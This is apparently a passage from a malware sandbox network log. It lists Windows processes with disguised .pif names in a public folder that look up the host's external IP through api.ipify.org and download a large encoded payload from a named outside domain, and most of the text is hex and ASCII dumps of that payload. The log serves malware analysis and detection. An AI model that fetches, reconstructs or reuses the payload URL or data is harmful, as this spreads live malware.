2024-10-30 07:34:59 UTC	8000	IN	Data Raw: 32 73 55 64 58 63 30 79 45 62 35 58 70 37 5a 52 53 5a 38 58 30 58 6b 6c 6e 4e 62 75 37 79 44 61 67 68 6c 72 48 61 73 6f 34 71 50 52 57 37 6c 78 4b 51 50 78 4a 73 57 4e 46 63 6c 67 47 36 6a 76 59 61 35 4a 31 67 70 57 79 59 78 66 74 37 79 46 64 4a 30 6d 4a 55 68 73 54 4e 39 2b 47 64 4a 2f 51 66 38 33 54 61 61 44 4e 70 70 68 33 73 6e 37 4a 78 50 34 41 54 51 65 63 48 48 5a 48 47 6a 49 6e 33 62 4a 45 70 37 55 76 38 62 6c 61 74 6d 73 65 2b 45 43 73 2b 59 75 73 47 48 36 4a 42 2f 6c 56 62 76 68 63 68 73 6a 63 56 7a 69 32 5a 51 56 79 56 72 71 34 68 43 66 6c 61 55 62 76 50 41 38 72 48 31 73 78 4a 4f 6c 33 45 73 53 4c 37 4e 2f 76 77 35 2b 66 79 49 4b 74 46 71 6e 39 39 46 6e 30 30 6b 4b 54 7a 44 74 2f 55 32 41 62 72 2b 53 6f 39 6a 62 74 44 32 46 71 38 72 71 69 6d 43 Data Ascii: 2sUdXc0yEb5Xp7ZRSZ8X0XklnNbu7yDaghlrHaso4qPRW7lxKQPxJsWNFclgG6jvYa5J1gpWyYxft7yFdJ0mJUhsTN9+GdJ/Qf83TaaDNpph3sn7JxP4ATQecHHZHGjIn3bJEp7Uv8blatmse+ECs+YusGH6JB/lVbvhchsjcVzi2ZQVyVrq4hCflaUbvPA8rH1sxJOl3EsSL7N/vw5+fyIKtFqn99Fn00kKTzDt/U2Abr+So9jbtD2Fq8rqimC
2024-10-30 07:34:59 UTC	8000	IN	Data Raw: 68 51 71 2f 44 74 70 44 54 39 2f 71 6c 44 77 5a 41 77 54 78 58 66 68 41 61 51 44 62 69 48 67 32 4b 77 75 37 38 62 76 2b 65 75 70 51 6f 67 64 4b 56 6b 30 46 50 6d 46 2f 51 55 76 34 38 52 72 30 37 5a 77 2b 6e 55 52 49 6c 4b 5a 47 49 43 73 42 35 63 6e 34 56 42 41 58 31 77 6f 78 6a 59 39 45 50 54 77 63 48 62 65 32 45 39 34 46 39 48 71 44 6b 36 6d 6b 61 44 2f 47 65 47 47 44 2f 6e 76 34 59 76 77 51 62 69 6d 66 63 43 4f 39 39 52 30 71 4e 4c 43 75 51 55 78 61 73 43 42 4c 46 74 5a 31 33 71 59 4b 52 4d 79 66 43 4b 71 42 58 35 70 30 43 44 66 79 5a 56 30 57 75 48 30 6f 6c 4b 5a 50 50 55 31 59 67 56 37 39 69 4c 66 64 2b 49 7a 77 6b 61 62 38 2f 79 69 75 46 4d 32 6d 59 44 33 51 30 64 35 49 67 47 68 32 57 6b 46 69 6b 4a 4d 58 4c 78 46 76 42 31 7a 61 4b 7a 4f 2b 58 41 33 Data Ascii: hQq/DtpDT9/qlDwZAwTxXfhAaQDbiHg2Kwu78bv+eupQogdKVk0FPmF/QUv48Rr07Zw+nURIlKZGICsB5cn4VBAX1woxjY9EPTwcHbe2E94F9HqDk6mkaD/GeGGD/nv4YvwQbimfcCO99R0qNLCuQUxasCBLFtZ13qYKRMyfCKqBX5p0CDfyZV0WuH0olKZPPU1YgV79iLfd+Izwkab8/yiuFM2mYD3Q0d5IgGh2WkFikJMXLxFvB1zaKzO+XA3
2024-10-30 07:34:59 UTC	8000	IN	Data Raw: 45 4a 4a 6a 7a 39 34 43 75 46 57 61 2b 35 49 6d 4b 4e 49 4d 38 2f 4e 72 31 30 70 74 6d 4e 58 33 49 4c 52 6f 6b 31 35 31 49 70 52 39 67 66 6a 5a 2f 6b 6b 79 76 4e 55 50 4d 4f 49 4c 6b 73 39 73 53 76 4a 31 58 4e 78 45 35 62 7a 6c 64 38 4b 41 69 44 77 63 69 33 4d 69 30 6d 78 42 57 38 73 4a 52 6c 2f 41 78 4a 55 51 4f 4b 5a 30 57 76 75 49 73 59 75 75 68 6e 47 53 51 33 70 36 62 51 32 68 56 62 4f 43 32 52 48 73 64 61 7a 4a 59 41 54 48 77 77 2f 4c 56 32 51 55 64 61 65 6f 31 66 65 38 4f 68 77 6c 33 6c 64 39 49 69 36 7a 52 66 59 6d 6f 43 30 34 67 66 77 56 7a 78 44 30 59 78 67 49 70 74 30 56 47 63 70 6e 42 66 35 50 78 77 35 59 44 4c 30 39 31 45 43 58 30 63 45 73 44 78 57 51 7a 67 39 50 6f 42 68 76 41 6b 73 30 78 5a 47 61 35 45 78 57 5a 71 72 51 69 48 6a 51 38 63 56 Data Ascii: EJJjz94CuFWa+5ImKNIM8/Nr10ptmNX3ILRok151IpR9gfjZ/kkyvNUPMOILks9sSvJ1XNxE5bzld8KAiDwci3Mi0mxBW8sJRl/AxJUQOKZ0WvuIsYuuhnGSQ3p6bQ2hVbOC2RHsdazJYATHww/LV2QUdaeo1fe8Ohwl3ld9Ii6zRfYmoC04gfwVzxD0YxgIpt0VGcpnBf5Pxw5YDL091ECX0cEsDxWQzg9PoBhvAks0xZGa5ExWZqrQiHjQ8cV
2024-10-30 07:34:59 UTC	8000	IN	Data Raw: 65 31 52 79 54 4f 6c 72 6d 57 66 61 43 6a 4a 55 56 36 44 49 2f 69 7a 69 56 52 38 4e 37 31 4c 35 59 52 2b 59 62 4b 53 79 70 6f 63 2f 63 6c 71 66 6a 6c 54 58 52 49 58 30 67 48 72 34 76 6e 5a 70 63 4b 34 72 4f 2b 31 37 63 78 4c 45 76 66 71 6d 72 36 6c 59 33 4d 76 4e 73 65 36 41 52 4b 7a 4c 4f 4d 31 76 44 46 6b 5a 4f 75 6a 35 67 51 77 52 76 6f 61 55 74 78 36 41 6f 64 53 62 70 48 6b 58 55 67 4c 43 35 79 7a 74 66 54 32 6e 47 30 7a 6a 79 4b 4f 6f 6e 64 44 7a 64 64 6e 42 66 79 39 50 58 68 57 71 54 6f 4a 7a 4d 2b 76 75 6e 5a 6a 79 75 38 51 75 37 6b 6b 4e 30 57 48 4d 56 45 33 54 65 6b 2b 41 30 48 2b 50 57 68 55 33 43 4d 33 61 76 54 2b 4e 4a 2f 6f 33 6c 64 4b 6e 52 30 39 58 4f 2b 69 62 39 41 38 58 36 46 6a 37 4c 67 4e 46 73 5a 64 61 6f 34 64 6b 36 50 37 6d 63 39 4b Data Ascii: e1RyTOlrmWfaCjJUV6DI/iziVR8N71L5YR+YbKSypoc/clqfjlTXRIX0gHr4vnZpcK4rO+17cxLEvfqmr6lY3MvNse6ARKzLOM1vDFkZOuj5gQwRvoaUtx6AodSbpHkXUgLC5yztfT2nG0zjyKOondDzddnBfy9PXhWqToJzM+vunZjyu8Qu7kkN0WHMVE3Tek+A0H+PWhU3CM3avT+NJ/o3ldKnR09XO+ib9A8X6Fj7LgNFsZdao4dk6P7mc9K
2024-10-30 07:34:59 UTC	8000	IN	Data Raw: 43 6e 71 47 70 53 68 57 4c 30 41 78 6a 69 67 41 4e 4b 61 41 55 6a 35 47 63 49 46 44 34 70 65 61 68 4f 6a 70 42 4a 6f 67 38 47 78 74 61 64 64 50 49 35 53 62 73 36 38 7a 61 6a 33 67 58 62 6c 63 4f 59 75 57 4a 32 73 32 44 6b 79 4a 72 37 65 4a 32 35 62 4e 48 78 39 58 6e 66 51 2f 75 77 66 4c 4f 48 32 73 37 53 78 67 77 46 2f 31 4a 62 4b 35 35 50 6a 56 4a 53 35 4d 33 71 55 46 75 76 51 4e 4f 4e 50 67 68 4b 75 35 5a 67 74 4f 38 4f 44 79 66 78 35 63 73 2b 32 45 33 45 50 47 31 6e 30 37 2b 6b 47 71 55 70 5a 45 46 46 68 61 73 4e 79 43 63 45 4d 77 43 58 38 41 39 68 33 61 54 73 73 56 39 68 30 53 62 5a 32 58 69 5a 4c 64 34 73 74 79 6d 68 33 64 33 68 52 64 51 36 77 54 4f 67 2b 6d 44 61 6a 75 6c 4f 57 4e 79 44 43 36 79 53 36 68 54 67 72 67 62 58 56 30 7a 73 53 43 4b 45 32 Data Ascii: CnqGpShWL0AxjigANKaAUj5GcIFD4peahOjpBJog8GxtaddPI5Sbs68zaj3gXblcOYuWJ2s2DkyJr7eJ25bNHx9XnfQ/uwfLOH2s7SxgwF/1JbK55PjVJS5M3qUFuvQNONPghKu5ZgtO8ODyfx5cs+2E3EPG1n07+kGqUpZEFFhasNyCcEMwCX8A9h3aTssV9h0SbZ2XiZLd4stymh3d3hRdQ6wTOg+mDajulOWNyDC6yS6hTgrgbXV0zsSCKE2
2024-10-30 07:34:59 UTC	8000	IN	Data Raw: 41 70 76 62 61 4b 6e 70 51 4b 50 79 71 44 51 71 66 67 79 79 5a 39 4d 58 42 39 6c 33 6a 48 6b 66 37 4d 70 37 6b 4a 71 63 64 72 62 76 79 4d 32 2b 2b 49 54 71 67 64 68 75 76 50 72 32 59 6b 51 34 46 65 74 4c 41 44 31 6d 4f 31 65 69 4c 35 48 6a 57 5a 69 55 36 55 6b 50 58 61 53 2f 57 33 53 2b 39 31 67 4d 43 50 77 76 2b 51 4a 33 43 4c 31 6b 6a 67 32 4b 35 77 72 36 50 79 61 39 65 35 55 48 74 32 4b 75 32 70 42 49 4e 4d 46 2f 72 4b 42 32 74 69 50 4d 39 6b 68 6b 43 6f 48 6c 2f 67 57 47 4d 55 64 4c 70 61 39 4c 34 50 72 5a 64 62 56 64 78 52 52 77 78 57 43 51 70 4e 67 38 66 5a 39 64 43 6c 66 61 39 75 4f 33 57 58 32 4d 6a 6a 4c 70 6d 73 61 6f 43 43 6f 46 33 53 70 70 45 44 58 76 4a 6e 6f 6c 64 7a 41 2b 30 72 56 63 68 75 4a 53 44 68 39 54 6b 6f 55 68 78 37 72 44 67 57 53 Data Ascii: ApvbaKnpQKPyqDQqfgyyZ9MXB9l3jHkf7Mp7kJqcdrbvyM2++ITqgdhuvPr2YkQ4FetLAD1mO1eiL5HjWZiU6UkPXaS/W3S+91gMCPwv+QJ3CL1kjg2K5wr6Pya9e5UHt2Ku2pBINMF/rKB2tiPM9khkCoHl/gWGMUdLpa9L4PrZdbVdxRRwxWCQpNg8fZ9dClfa9uO3WX2MjjLpmsaoCCoF3SppEDXvJnoldzA+0rVchuJSDh9TkoUhx7rDgWS
2024-10-30 07:34:59 UTC	8000	IN	Data Raw: 69 77 38 72 36 48 2f 78 39 44 4f 62 67 6e 73 53 6d 34 79 4b 36 4e 63 4f 6b 36 66 76 4a 46 56 4e 34 7a 41 68 50 2f 4f 4a 6f 69 7a 34 68 2f 4a 54 31 6b 71 53 7a 31 48 61 75 63 41 65 70 53 68 52 2f 53 71 37 49 6f 2b 48 54 43 72 76 55 59 4b 6c 48 5a 53 47 45 6d 65 66 32 6a 70 46 44 61 41 52 58 48 66 41 6d 68 7a 37 6a 59 76 54 54 67 48 44 41 64 53 4c 65 52 69 32 34 56 4f 63 44 74 46 72 6f 4c 46 50 52 39 32 4f 72 71 66 51 6c 77 4f 42 4f 34 78 39 57 51 76 42 62 4e 37 2f 54 4e 7a 72 50 6b 2f 71 33 31 34 6e 69 57 56 77 53 7a 36 49 67 31 45 70 6d 2b 31 44 58 54 33 53 50 47 2b 70 46 76 50 65 48 74 38 48 5a 73 2b 66 6a 6e 6a 2f 4a 67 78 6e 4f 72 55 67 49 53 65 43 78 44 55 38 70 71 70 48 43 75 78 49 49 52 69 42 35 42 78 32 73 46 64 33 78 78 69 67 78 56 41 32 38 31 64 Data Ascii: iw8r6H/x9DObgnsSm4yK6NcOk6fvJFVN4zAhP/OJoiz4h/JT1kqSz1HaucAepShR/Sq7Io+HTCrvUYKlHZSGEmef2jpFDaARXHfAmhz7jYvTTgHDAdSLeRi24VOcDtFroLFPR92OrqfQlwOBO4x9WQvBbN7/TNzrPk/q314niWVwSz6Ig1Epm+1DXT3SPG+pFvPeHt8HZs+fjnj/JgxnOrUgISeCxDU8pqpHCuxIIRiB5Bx2sFd3xxigxVA281d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	172.67.74.152	443	4544	C:\Users\Public\Libraries\xrbjyllC.pif

Timestamp	Bytes transferred	Direction	Data
2024-10-30 07:35:06 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-10-30 07:35:07 UTC	211	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 07:35:06 GMT Content-Type: text/plain Content-Length: 14 Connection: close Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 8da9ba0c2d872e24-DFW
2024-10-30 07:35:07 UTC	14	IN	Data Raw: 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 Data Ascii: 173.254.250.78

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49737	50.116.93.185	443	1440	C:\Users\Public\Libraries\Cllyjbrx.PIF

Timestamp	Bytes transferred	Direction	Data
2024-10-30 07:35:12 UTC	174	OUT	GET /origins/233_Cllyjbrxmng HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: himalayastrek.com
2024-10-30 07:35:12 UTC	209	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 07:35:12 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 30 Oct 2024 06:08:38 GMT Accept-Ranges: bytes Content-Length: 768392
2024-10-30 07:35:12 UTC	7983	IN	Data Raw: 70 71 36 6c 57 53 4f 6e 73 55 73 4f 45 69 49 54 48 53 63 6d 48 53 55 65 48 53 4d 55 44 68 59 56 49 52 30 62 45 68 6b 69 45 78 41 68 45 78 4d 65 49 52 41 67 4a 68 38 64 49 68 55 64 46 42 30 6e 44 67 34 69 45 42 6b 6d 4a 78 38 68 49 53 59 6a 45 52 79 6d 72 71 56 5a 49 36 65 78 53 30 34 5a 47 53 59 58 44 78 38 6c 47 68 73 55 70 71 36 6c 57 53 4f 6e 73 55 76 30 2b 35 6f 43 54 76 72 79 37 74 33 6b 35 70 6e 66 36 75 66 74 36 65 61 42 41 77 7a 74 35 64 33 70 2b 2f 69 57 37 4f 6a 74 33 4f 66 6d 6d 67 68 4f 33 2f 76 30 39 50 54 72 68 4f 54 79 39 4f 66 70 36 6f 35 51 42 4f 66 71 34 2b 6a 37 35 6f 33 35 2b 2f 62 6b 35 65 69 49 2f 77 66 6f 39 2b 37 7a 2b 50 4b 61 33 75 6a 79 2b 2f 76 6e 6d 2f 31 4c 2b 66 6e 75 36 4f 33 6d 69 50 44 78 33 2f 54 6f 39 59 4e 56 56 50 4c Data Ascii: pq6lWSOnsUsOEiITHScmHSUeHSMUDhYVIR0bEhkiExAhExMeIRAgJh8dIhUdFB0nDg4iEBkmJx8hISYjERymrqVZI6exS04ZGSYXDx8lGhsUpq6lWSOnsUv0+5oCTvry7t3k5pnf6uft6eaBAwzt5d3p+/iW7Ojt3OfmmghO3/v09PTrhOTy9Ofp6o5QBOfq4+j75o35+/bk5eiI/wfo9+7z+PKa3ujy+/vnm/1L+fnu6O3miPDx3/To9YNVVPL
2024-10-30 07:35:12 UTC	8000	IN	Data Raw: 67 6c 73 44 36 46 56 69 57 31 6d 54 4d 71 73 70 62 37 34 68 51 38 71 68 52 62 48 55 66 74 70 62 38 69 55 6d 62 4d 59 74 71 30 62 61 39 55 53 6a 44 66 61 76 4c 64 30 4d 45 53 4a 34 31 7a 63 47 67 70 68 5a 68 36 56 72 6f 35 4e 35 58 56 74 37 33 52 69 37 73 63 4d 73 32 7a 58 38 44 36 4c 4f 70 35 66 6c 4a 57 70 4d 50 76 4d 39 54 74 48 64 7a 70 50 57 41 6b 64 69 2b 5a 4f 72 5a 48 31 73 55 74 56 51 59 6a 78 4f 42 46 48 62 34 45 2f 6c 55 2f 48 34 46 57 62 55 66 36 6a 38 78 76 32 64 42 4c 56 70 69 48 67 57 46 44 6f 4a 79 56 76 41 54 5a 51 69 4d 39 50 39 5a 79 74 42 4f 33 61 77 77 6a 57 73 34 48 37 50 66 53 50 2b 45 51 4e 79 43 35 41 32 70 2b 68 63 72 2f 2f 6a 4c 6c 46 6c 67 77 48 48 4e 51 54 4c 30 4c 35 77 59 79 32 36 41 66 6f 2f 6c 4b 6e 48 2f 42 64 2b 6d 79 71 Data Ascii: glsD6FViW1mTMqspb74hQ8qhRbHUftpb8iUmbMYtq0ba9USjDfavLd0MESJ41zcGgphZh6Vro5N5XVt73Ri7scMs2zX8D6LOp5flJWpMPvM9TtHdzpPWAkdi+ZOrZH1sUtVQYjxOBFHb4E/lU/H4FWbUf6j8xv2dBLVpiHgWFDoJyVvATZQiM9P9ZytBO3awwjWs4H7PfSP+EQNyC5A2p+hcr//jLlFlgwHHNQTL0L5wYy26Afo/lKnH/Bd+myq
2024-10-30 07:35:12 UTC	8000	IN	Data Raw: 6c 6b 32 70 75 71 4b 6a 69 42 59 4b 44 4c 4b 67 66 33 50 52 6f 58 41 64 35 2b 4d 46 4d 45 2f 32 64 4f 76 47 6f 6c 43 33 51 7a 4e 55 70 4f 6d 4e 73 4f 67 6a 2f 69 58 75 53 53 46 68 74 58 45 74 6a 78 36 32 63 54 36 7a 47 6d 68 6b 30 36 41 51 32 35 56 77 4e 6f 66 69 68 36 4a 4c 49 31 37 50 42 45 55 4e 7a 52 71 38 32 42 47 56 73 61 67 6e 6d 48 78 74 69 5a 57 30 74 46 78 71 4e 69 67 5a 6e 7a 79 31 74 4d 62 4f 2b 62 48 45 73 78 7a 50 71 52 62 56 4c 42 2b 69 32 31 42 4c 53 64 41 53 76 6d 52 62 6c 47 4a 70 63 36 31 43 61 5a 4c 71 38 61 54 47 57 7a 6d 75 49 48 61 6d 31 75 43 6c 72 4c 39 34 54 65 59 57 55 4c 6d 48 42 67 2f 30 2f 5a 4e 33 4b 69 79 2f 74 30 6e 37 62 75 72 68 36 66 53 46 52 70 38 52 54 59 6f 55 49 6e 61 33 79 47 72 79 59 66 57 42 5a 50 5a 39 68 57 33 Data Ascii: lk2puqKjiBYKDLKgf3PRoXAd5+MFME/2dOvGolC3QzNUpOmNsOgj/iXuSSFhtXEtjx62cT6zGmhk06AQ25VwNofih6JLI17PBEUNzRq82BGVsagnmHxtiZW0tFxqNigZnzy1tMbO+bHEsxzPqRbVLB+i21BLSdASvmRblGJpc61CaZLq8aTGWzmuIHam1uClrL94TeYWULmHBg/0/ZN3Kiy/t0n7burh6fSFRp8RTYoUIna3yGryYfWBZPZ9hW3
2024-10-30 07:35:12 UTC	8000	IN	Data Raw: 32 73 55 64 58 63 30 79 45 62 35 58 70 37 5a 52 53 5a 38 58 30 58 6b 6c 6e 4e 62 75 37 79 44 61 67 68 6c 72 48 61 73 6f 34 71 50 52 57 37 6c 78 4b 51 50 78 4a 73 57 4e 46 63 6c 67 47 36 6a 76 59 61 35 4a 31 67 70 57 79 59 78 66 74 37 79 46 64 4a 30 6d 4a 55 68 73 54 4e 39 2b 47 64 4a 2f 51 66 38 33 54 61 61 44 4e 70 70 68 33 73 6e 37 4a 78 50 34 41 54 51 65 63 48 48 5a 48 47 6a 49 6e 33 62 4a 45 70 37 55 76 38 62 6c 61 74 6d 73 65 2b 45 43 73 2b 59 75 73 47 48 36 4a 42 2f 6c 56 62 76 68 63 68 73 6a 63 56 7a 69 32 5a 51 56 79 56 72 71 34 68 43 66 6c 61 55 62 76 50 41 38 72 48 31 73 78 4a 4f 6c 33 45 73 53 4c 37 4e 2f 76 77 35 2b 66 79 49 4b 74 46 71 6e 39 39 46 6e 30 30 6b 4b 54 7a 44 74 2f 55 32 41 62 72 2b 53 6f 39 6a 62 74 44 32 46 71 38 72 71 69 6d 43 Data Ascii: 2sUdXc0yEb5Xp7ZRSZ8X0XklnNbu7yDaghlrHaso4qPRW7lxKQPxJsWNFclgG6jvYa5J1gpWyYxft7yFdJ0mJUhsTN9+GdJ/Qf83TaaDNpph3sn7JxP4ATQecHHZHGjIn3bJEp7Uv8blatmse+ECs+YusGH6JB/lVbvhchsjcVzi2ZQVyVrq4hCflaUbvPA8rH1sxJOl3EsSL7N/vw5+fyIKtFqn99Fn00kKTzDt/U2Abr+So9jbtD2Fq8rqimC
2024-10-30 07:35:12 UTC	8000	IN	Data Raw: 68 51 71 2f 44 74 70 44 54 39 2f 71 6c 44 77 5a 41 77 54 78 58 66 68 41 61 51 44 62 69 48 67 32 4b 77 75 37 38 62 76 2b 65 75 70 51 6f 67 64 4b 56 6b 30 46 50 6d 46 2f 51 55 76 34 38 52 72 30 37 5a 77 2b 6e 55 52 49 6c 4b 5a 47 49 43 73 42 35 63 6e 34 56 42 41 58 31 77 6f 78 6a 59 39 45 50 54 77 63 48 62 65 32 45 39 34 46 39 48 71 44 6b 36 6d 6b 61 44 2f 47 65 47 47 44 2f 6e 76 34 59 76 77 51 62 69 6d 66 63 43 4f 39 39 52 30 71 4e 4c 43 75 51 55 78 61 73 43 42 4c 46 74 5a 31 33 71 59 4b 52 4d 79 66 43 4b 71 42 58 35 70 30 43 44 66 79 5a 56 30 57 75 48 30 6f 6c 4b 5a 50 50 55 31 59 67 56 37 39 69 4c 66 64 2b 49 7a 77 6b 61 62 38 2f 79 69 75 46 4d 32 6d 59 44 33 51 30 64 35 49 67 47 68 32 57 6b 46 69 6b 4a 4d 58 4c 78 46 76 42 31 7a 61 4b 7a 4f 2b 58 41 33 Data Ascii: hQq/DtpDT9/qlDwZAwTxXfhAaQDbiHg2Kwu78bv+eupQogdKVk0FPmF/QUv48Rr07Zw+nURIlKZGICsB5cn4VBAX1woxjY9EPTwcHbe2E94F9HqDk6mkaD/GeGGD/nv4YvwQbimfcCO99R0qNLCuQUxasCBLFtZ13qYKRMyfCKqBX5p0CDfyZV0WuH0olKZPPU1YgV79iLfd+Izwkab8/yiuFM2mYD3Q0d5IgGh2WkFikJMXLxFvB1zaKzO+XA3
2024-10-30 07:35:12 UTC	8000	IN	Data Raw: 45 4a 4a 6a 7a 39 34 43 75 46 57 61 2b 35 49 6d 4b 4e 49 4d 38 2f 4e 72 31 30 70 74 6d 4e 58 33 49 4c 52 6f 6b 31 35 31 49 70 52 39 67 66 6a 5a 2f 6b 6b 79 76 4e 55 50 4d 4f 49 4c 6b 73 39 73 53 76 4a 31 58 4e 78 45 35 62 7a 6c 64 38 4b 41 69 44 77 63 69 33 4d 69 30 6d 78 42 57 38 73 4a 52 6c 2f 41 78 4a 55 51 4f 4b 5a 30 57 76 75 49 73 59 75 75 68 6e 47 53 51 33 70 36 62 51 32 68 56 62 4f 43 32 52 48 73 64 61 7a 4a 59 41 54 48 77 77 2f 4c 56 32 51 55 64 61 65 6f 31 66 65 38 4f 68 77 6c 33 6c 64 39 49 69 36 7a 52 66 59 6d 6f 43 30 34 67 66 77 56 7a 78 44 30 59 78 67 49 70 74 30 56 47 63 70 6e 42 66 35 50 78 77 35 59 44 4c 30 39 31 45 43 58 30 63 45 73 44 78 57 51 7a 67 39 50 6f 42 68 76 41 6b 73 30 78 5a 47 61 35 45 78 57 5a 71 72 51 69 48 6a 51 38 63 56 Data Ascii: EJJjz94CuFWa+5ImKNIM8/Nr10ptmNX3ILRok151IpR9gfjZ/kkyvNUPMOILks9sSvJ1XNxE5bzld8KAiDwci3Mi0mxBW8sJRl/AxJUQOKZ0WvuIsYuuhnGSQ3p6bQ2hVbOC2RHsdazJYATHww/LV2QUdaeo1fe8Ohwl3ld9Ii6zRfYmoC04gfwVzxD0YxgIpt0VGcpnBf5Pxw5YDL091ECX0cEsDxWQzg9PoBhvAks0xZGa5ExWZqrQiHjQ8cV
2024-10-30 07:35:12 UTC	8000	IN	Data Raw: 65 31 52 79 54 4f 6c 72 6d 57 66 61 43 6a 4a 55 56 36 44 49 2f 69 7a 69 56 52 38 4e 37 31 4c 35 59 52 2b 59 62 4b 53 79 70 6f 63 2f 63 6c 71 66 6a 6c 54 58 52 49 58 30 67 48 72 34 76 6e 5a 70 63 4b 34 72 4f 2b 31 37 63 78 4c 45 76 66 71 6d 72 36 6c 59 33 4d 76 4e 73 65 36 41 52 4b 7a 4c 4f 4d 31 76 44 46 6b 5a 4f 75 6a 35 67 51 77 52 76 6f 61 55 74 78 36 41 6f 64 53 62 70 48 6b 58 55 67 4c 43 35 79 7a 74 66 54 32 6e 47 30 7a 6a 79 4b 4f 6f 6e 64 44 7a 64 64 6e 42 66 79 39 50 58 68 57 71 54 6f 4a 7a 4d 2b 76 75 6e 5a 6a 79 75 38 51 75 37 6b 6b 4e 30 57 48 4d 56 45 33 54 65 6b 2b 41 30 48 2b 50 57 68 55 33 43 4d 33 61 76 54 2b 4e 4a 2f 6f 33 6c 64 4b 6e 52 30 39 58 4f 2b 69 62 39 41 38 58 36 46 6a 37 4c 67 4e 46 73 5a 64 61 6f 34 64 6b 36 50 37 6d 63 39 4b Data Ascii: e1RyTOlrmWfaCjJUV6DI/iziVR8N71L5YR+YbKSypoc/clqfjlTXRIX0gHr4vnZpcK4rO+17cxLEvfqmr6lY3MvNse6ARKzLOM1vDFkZOuj5gQwRvoaUtx6AodSbpHkXUgLC5yztfT2nG0zjyKOondDzddnBfy9PXhWqToJzM+vunZjyu8Qu7kkN0WHMVE3Tek+A0H+PWhU3CM3avT+NJ/o3ldKnR09XO+ib9A8X6Fj7LgNFsZdao4dk6P7mc9K
2024-10-30 07:35:12 UTC	8000	IN	Data Raw: 43 6e 71 47 70 53 68 57 4c 30 41 78 6a 69 67 41 4e 4b 61 41 55 6a 35 47 63 49 46 44 34 70 65 61 68 4f 6a 70 42 4a 6f 67 38 47 78 74 61 64 64 50 49 35 53 62 73 36 38 7a 61 6a 33 67 58 62 6c 63 4f 59 75 57 4a 32 73 32 44 6b 79 4a 72 37 65 4a 32 35 62 4e 48 78 39 58 6e 66 51 2f 75 77 66 4c 4f 48 32 73 37 53 78 67 77 46 2f 31 4a 62 4b 35 35 50 6a 56 4a 53 35 4d 33 71 55 46 75 76 51 4e 4f 4e 50 67 68 4b 75 35 5a 67 74 4f 38 4f 44 79 66 78 35 63 73 2b 32 45 33 45 50 47 31 6e 30 37 2b 6b 47 71 55 70 5a 45 46 46 68 61 73 4e 79 43 63 45 4d 77 43 58 38 41 39 68 33 61 54 73 73 56 39 68 30 53 62 5a 32 58 69 5a 4c 64 34 73 74 79 6d 68 33 64 33 68 52 64 51 36 77 54 4f 67 2b 6d 44 61 6a 75 6c 4f 57 4e 79 44 43 36 79 53 36 68 54 67 72 67 62 58 56 30 7a 73 53 43 4b 45 32 Data Ascii: CnqGpShWL0AxjigANKaAUj5GcIFD4peahOjpBJog8GxtaddPI5Sbs68zaj3gXblcOYuWJ2s2DkyJr7eJ25bNHx9XnfQ/uwfLOH2s7SxgwF/1JbK55PjVJS5M3qUFuvQNONPghKu5ZgtO8ODyfx5cs+2E3EPG1n07+kGqUpZEFFhasNyCcEMwCX8A9h3aTssV9h0SbZ2XiZLd4stymh3d3hRdQ6wTOg+mDajulOWNyDC6yS6hTgrgbXV0zsSCKE2
2024-10-30 07:35:12 UTC	8000	IN	Data Raw: 41 70 76 62 61 4b 6e 70 51 4b 50 79 71 44 51 71 66 67 79 79 5a 39 4d 58 42 39 6c 33 6a 48 6b 66 37 4d 70 37 6b 4a 71 63 64 72 62 76 79 4d 32 2b 2b 49 54 71 67 64 68 75 76 50 72 32 59 6b 51 34 46 65 74 4c 41 44 31 6d 4f 31 65 69 4c 35 48 6a 57 5a 69 55 36 55 6b 50 58 61 53 2f 57 33 53 2b 39 31 67 4d 43 50 77 76 2b 51 4a 33 43 4c 31 6b 6a 67 32 4b 35 77 72 36 50 79 61 39 65 35 55 48 74 32 4b 75 32 70 42 49 4e 4d 46 2f 72 4b 42 32 74 69 50 4d 39 6b 68 6b 43 6f 48 6c 2f 67 57 47 4d 55 64 4c 70 61 39 4c 34 50 72 5a 64 62 56 64 78 52 52 77 78 57 43 51 70 4e 67 38 66 5a 39 64 43 6c 66 61 39 75 4f 33 57 58 32 4d 6a 6a 4c 70 6d 73 61 6f 43 43 6f 46 33 53 70 70 45 44 58 76 4a 6e 6f 6c 64 7a 41 2b 30 72 56 63 68 75 4a 53 44 68 39 54 6b 6f 55 68 78 37 72 44 67 57 53 Data Ascii: ApvbaKnpQKPyqDQqfgyyZ9MXB9l3jHkf7Mp7kJqcdrbvyM2++ITqgdhuvPr2YkQ4FetLAD1mO1eiL5HjWZiU6UkPXaS/W3S+91gMCPwv+QJ3CL1kjg2K5wr6Pya9e5UHt2Ku2pBINMF/rKB2tiPM9khkCoHl/gWGMUdLpa9L4PrZdbVdxRRwxWCQpNg8fZ9dClfa9uO3WX2MjjLpmsaoCCoF3SppEDXvJnoldzA+0rVchuJSDh9TkoUhx7rDgWS
2024-10-30 07:35:12 UTC	8000	IN	Data Raw: 69 77 38 72 36 48 2f 78 39 44 4f 62 67 6e 73 53 6d 34 79 4b 36 4e 63 4f 6b 36 66 76 4a 46 56 4e 34 7a 41 68 50 2f 4f 4a 6f 69 7a 34 68 2f 4a 54 31 6b 71 53 7a 31 48 61 75 63 41 65 70 53 68 52 2f 53 71 37 49 6f 2b 48 54 43 72 76 55 59 4b 6c 48 5a 53 47 45 6d 65 66 32 6a 70 46 44 61 41 52 58 48 66 41 6d 68 7a 37 6a 59 76 54 54 67 48 44 41 64 53 4c 65 52 69 32 34 56 4f 63 44 74 46 72 6f 4c 46 50 52 39 32 4f 72 71 66 51 6c 77 4f 42 4f 34 78 39 57 51 76 42 62 4e 37 2f 54 4e 7a 72 50 6b 2f 71 33 31 34 6e 69 57 56 77 53 7a 36 49 67 31 45 70 6d 2b 31 44 58 54 33 53 50 47 2b 70 46 76 50 65 48 74 38 48 5a 73 2b 66 6a 